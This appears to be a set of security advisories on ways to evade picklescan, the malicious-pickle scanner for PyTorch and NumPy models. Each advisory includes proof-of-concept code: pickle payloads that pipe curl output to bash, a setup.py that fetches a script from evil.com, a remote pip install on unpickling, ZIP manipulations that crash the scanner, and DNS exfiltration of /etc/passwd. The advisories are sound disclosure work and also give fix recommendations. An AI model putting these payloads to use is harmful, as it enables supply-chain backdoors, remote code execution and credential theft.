See how picklescan compares to other vendors in security performance
CVE-2025-1889
Summary
Picklescan fails to detect hidden pickle files embedded in PyTorch model archives due to its reliance on file extensions for detection. This allows an attacker to embed a secondary, malicious pickle file with a non-standard extension inside a model archive, which remains undetected by picklescan but is still loaded by PyTorch's torch.load() function. This can lead to arbitrary code execution when the model is loaded.
Details
Picklescan primarily identifies pickle files by their extensions (e.g., .pkl, .pt). However, PyTorch allows specifying an alternative pickle file inside a model archive using the picklefile parameter when calling torch.load(). This makes it possible to embed a malicious pickle file (e.g., config.p) inside the model while keeping the primary data.pkl file benign.
A typical attack works as follows:
- A PyTorch model (model.pt) is created and saved normally. - A second pickle file (config.p) containing a malicious payload is crafted. - The data.pkl file in the model is modified to contain an object that calls torch.load(model.pt, picklefile='config.p'), causing config.p to be loaded when the model is opened. - Since picklescan ignores non-standard extensions, it does not scan config.p, allowing the malicious payload to evade detection. - The issue is exacerbated by the fact that PyTorch models are widely shared in ML repositories and organizations, making it a potential supply-chain attack vector.
PoC import os import pickle import torch import zipfile from functools import partial
class RemoteCodeExecution: def reduce(self): return os.system, ("curl -s http://localhost:8080 | bash",)
Create a directory inside the model os.makedirs("model", existok=True)
Create a hidden malicious pickle file with open("model/config.p", "wb") as f: pickle.dump(RemoteCodeExecution(), f)
Create a benign model model = {} class AutoLoad: def init(self, path, kwargs): self.path = path self.kwargs = kwargs
def reduce(self): # Use functools.partial to create a partially applied function # with torch.load and the picklefile argument return partial(torch.load, self.path, self.kwargs), ()
model['config'] = AutoLoad(modelname, picklefile='config.p', weightsonly=False) torch.save(model, "model.pt")
Inject the second pickle into the model archive with zipfile.ZipFile("model.pt", "a") as archive: archive.write("model/config.p", "model/config.p")
Loading the model triggers execution of config.p torch.load("model.pt")
Impact
Severity: High
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in PyTorch models that remains undetected but executes when the model is loaded.
Potential Exploits: This vulnerability could be exploited in supply chain attacks, backdooring pre-trained models distributed via repositories like Hugging Face or PyTorch Hub.
Recommendations
1. Scan All Files in the ZIP Archive: picklescan should analyze all files in the archive instead of relying on file extensions. 2. Detect Hidden Pickle References: Static analysis should detect torch.load(picklefile=...) calls inside data.pkl. 3. Magic Byte Detection: Instead of relying on extensions, picklescan should inspect file contents for pickle magic bytes (\x80\x05). 4. Block the following globals: - torch.load - Block functools.partial
Summary
PickleScan is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.
Details
Python's built-in zipfile module performs strict integrity checks when extracting ZIP files. If a filename stored in the ZIP header does not match the filename in the directory listing, zipfile.ZipFile.open() raises a BadZipFile error. PickleScan relies on zipfile to extract and inspect the contents of PyTorch model archives, making it susceptible to this manipulation.
PyTorch, on the other hand, has a more tolerant ZIP handling mechanism that ignores these discrepancies, allowing the model to load even when PickleScan fails. An attacker can exploit this behavior to embed a malicious pickle file inside a model archive, which PyTorch will load, while preventing PickleScan from scanning the archive.
PoC import os import torch
class RemoteCodeExecution: def reduce(self): return os.system, (f"eval \"$(curl -s http://localhost:8080)\"",)
model = RemoteCodeExecution() file = "doesnotscanbutopensintorch.pth" torch.save(model, file)
modify the header to cause the zip file to raise execution in picklescan with open(file, "rb") as f: data = f.read()
Replace only the first occurrence of "data.pkl" with "datap.kl" modifieddata = data.replace(b"data.pkl", b"datap.kl", 1)
Write back the modified content with open(file, "wb") as f: f.write(modifieddata)
Load the infected model torch.load(file)
Impact
Severity: High
- Who is impacted? Any organization or individual using PickleScan to detect malicious pickle files in PyTorch models.
- What is the impact? Attackers can embed malicious payloads inside PyTorch model archives while preventing PickleScan from scanning them.
- Potential Exploits: This technique can be used in supply chain attacks to distribute backdoored models via platforms like Hugging Face.
Recommendations
- Use a More Tolerant ZIP Parser: PickleScan should handle minor ZIP header inconsistencies more gracefully instead of failing outright.
- Detect Malformed ZIPs: Instead of crashing, PickleScan should log warnings and attempt to extract valid files.
Summary
PickleScan fails to detect malicious pickle files inside PyTorch model archives when certain ZIP file flag bits are modified. By flipping specific bits in the ZIP file headers, an attacker can embed malicious pickle files that remain undetected by PickleScan while still being successfully loaded by PyTorch's torch.load(). This can lead to arbitrary code execution when loading a compromised model.
Details
PickleScan relies on Python’s zipfile module to extract and scan files within ZIP-based model archives. However, certain flag bits in ZIP headers affect how files are interpreted, and some of these bits cause PickleScan to fail while leaving PyTorch’s loading mechanism unaffected.
By modifying the flagbits field in the ZIP file entry, an attacker can:
- Embed a malicious pickle file (badfile.pkl) in a PyTorch model archive. - Flip specific bits (e.g., 0x1, 0x20, 0x40) in the ZIP metadata. - Prevent PickleScan from scanning the archive due to errors raised by zipfile. - Successfully load the model with torch.load(), which ignores the flag modifications.
This technique effectively bypasses PickleScan's security checks while maintaining model functionality.
PoC import os import zipfile import torch from picklescan import cli
def canscan(zipfile): try: cli.printsummary(False, cli.scanfilepath(zipfile)) return True except Exception: return False
bittoflip = 0x1 # Change to 0x20 or 0x40 to test different flag bits
zipfile = "model.pth" model = {'a': 1, 'b': 2, 'c': 3} torch.save(model, zipfile)
with zipfile.ZipFile(zipfile, "r") as source: flippedname = f"flipped{bittoflip}{zipfile}" with zipfile.ZipFile(flippedname, "w") as dest: badfile = zipfile.ZipInfo("model/badfile.pkl") # Modify the ZIP flag bits badfile.flagbits |= bittoflip dest.writestr(badfile, b"bad content") for item in source.infolist(): dest.writestr(item, source.read(item.filename))
if model == torch.load(flippedname, weightsonly=False): if not canscan(flippedname): print('Found exploitable bit:', bittoflip) else: os.remove(flippedname)
Impact
Severity: High
- Who is impacted? Any organization or user relying on PickleScan to detect malicious pickle files inside PyTorch models. - What is the impact? Attackers can embed malicious pickle payloads inside PyTorch models that evade PickleScan's detection but still execute upon loading. - Potential Exploits: This vulnerability could be exploited in machine learning supply chain attacks, allowing attackers to distribute backdoored models on platforms like Hugging Face or PyTorch Hub.
Recommendations
- Improve ZIP Handling: PickleScan should use a more relaxed ZIP parser marches on when encountering modified flag bits. - Scan All Embedded Files Regardless of Flags: Ensure that files with altered metadata are still extracted and analyzed.
By addressing these issues, PickleScan can provide stronger protection against manipulated PyTorch model archives.
CVE-2025-1716
Summary An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.
Details Pickle’s deserialization process allows execution of arbitrary functions via the reduce method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.
The payload executes the following steps:
1. During unpickling, it calls pip.main() to install a malicious PyPI package. 2. The installed package runs arbitrary code via setup.py, entrypoints, or post-install hooks. 3. Execution is silent, with minimal logging to avoid detection.
PoC
Step 1: Create the Malicious Package Host a PyPI package with a malicious setup.py or entrypoint.
Example malicious setup.py from setuptools import setup import os
os.system("curl -s https://evil.com/payload.sh | bash") # Executes remote shell script
setup( name="rsac-demo-package", version="0.1", packages=["rsacdemo"], installrequires=[], ) Upload it to PyPI or host on GitHub.
Step 2: Exploit via Pickle import pickle import pip
class Exploit: def reduce(self): return pip.main, ( ['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q', '--exists-action', 'i', '--isolated'], )
maliciouspickle = pickle.dumps(Exploit())
Simulating deserialization attack pickle.loads(maliciouspickle) This installs a malicious package from GitHub or PyPI. The payload runs automatically when unpickled, executing any code inside the installed package leveraging the setup.py file.
Impact Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.
Recommended Fixes Add "pip": "" to the list of unsafe globals
Summary
Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.
Details
picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging ssl.getservercertificate as the callable function in the pickle payload. Since ssl is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.
The payload avoids flagged modules and instead uses linecache (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed to ssl.getservercertificate, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.
The payload executes the following steps:
- Reads sensitive local file content using linecache module - Encodes the data for DNS exfiltration - Constructs a malicious domain name using a third party service dnslog.cn - Triggers a DNS resolution via ssl.getservercertificate - Leaks the encoded file content to the attacker
PoC
Before running the PoC change the fqdn to your own or a third party that you control. In this PoC we used fqdn = f"{subdomain}.ctmc2q.dnslog.cn".
python
import numpy as np
def createmaliciousmodel(): Define the payload class class DNSLogPayload: def reduce(self): # Step 1: read a line from /etc/passwd linecache = import("linecache") firstline = linecache.getline("/etc/passwd", 1).strip()
# Step 2: Sanitize and embed it as a DNS subdomain subdomain = firstline.replace(":", "").replace("/", "") fqdn = f"{subdomain}.dns-logger.invalid"
# Step 3: Use ssl.getservercertificate to trigger DNS resolution sslmod = import("ssl") return (getattr(sslmod, "getservercertificate"), ((fqdn, 443),))
# Wrap the payload in a NumPy object array arr = np.array([DNSLogPayload()], dtype=object)
# Save to .npy file np.save("dnslogtriggerpayload.npy", arr, allowpickle=True)
def loadmodel(model): try: return np.load(model, encoding="latin1", fiximports=True, allowpickle=1) except Exception: raise ValueError("Invalid file")
if name == "main": createmaliciousmodel() model = "dnslogtriggerpayload.npy" print("[i] Loading and executing the model") data = loadmodel(model)
Impact
1. Evade detection: Bypasses the latest version of picklescan's blacklist. 2. Exfiltrate sensitive local files to an attacker controlled DNS